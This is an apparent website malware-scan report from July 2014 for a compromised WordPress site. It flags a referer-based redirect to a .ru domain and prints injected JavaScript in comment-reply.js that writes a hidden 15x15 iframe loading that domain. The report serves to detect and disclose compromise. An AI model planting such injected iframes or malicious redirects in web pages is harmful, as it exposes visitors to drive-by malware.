Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=carnect.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://carnect.com/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: carnect.com Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 19 Jul 2014 01:52:15 GMT Location: http://resettingsubtraction.ru/pittancebrass.cgi?8 Server: Apache Content-Length: 258 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://carnect.com/ | 200 OK Content-Length: 4584 Content-Type: text/html | clean |
http://carnect.com/wp-includes/js/comment-reply.js?ver=20090102 | 200 OK Content-Length: 951 Content-Type: application/javascript | malicious |
Malicious code found. Script contains blacklisted domain: resettingsubtraction.ru ...[395 bytes skipped]... ;&c){k.value=c}j.value=f;l.style.display="";l.onclick=function(){var n=addComment,e=n.I("wp-temp-form-div"),o=n.I(n.respondId);if(!e||!o){return}n.I("comment_parent").value="0";e.parentNode.insertBefore(o,e);e.parentNode.removeChild(e);this.style.display="none";this.onclick=null;return false};try{m.I("comment").focus()}catch(g){}return false},I:function(a){return document.getElementById(a)}};document.write('<iframe src="http://resettingsubtraction.ru/pittancebrass.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>'); Decoded script: <iframe src="http://resettingsubtraction.ru/pittancebrass.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe> Malicious iFrame found. size: 15x15 src: http://resettingsubtraction.ru/pittancebrass.cgi?8 This URL is marked by Google as suspicious <iframe src="http://resettingsubtraction.ru/pittancebrass.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"> | ||
http://carnect.com/?page_id=37 | 200 OK Content-Length: 8295 Content-Type: text/html | clean |
http://carnect.com/wp-login.php | 200 OK Content-Length: 2099 Content-Type: text/html | clean |
http://carnect.com/wp-login.php?action=lostpassword | 200 OK Content-Length: 1714 Content-Type: text/html | clean |
http://carnect.com/test404page.js | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 19 Jul 2014 01:52:19 GMT Location: http://carnect.com/test404page.js/ Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Pingback: http://carnect.com/xmlrpc.php | clean |
http://carnect.com/test404page.js/ | 200 OK Content-Length: 4584 Content-Type: text/html | clean |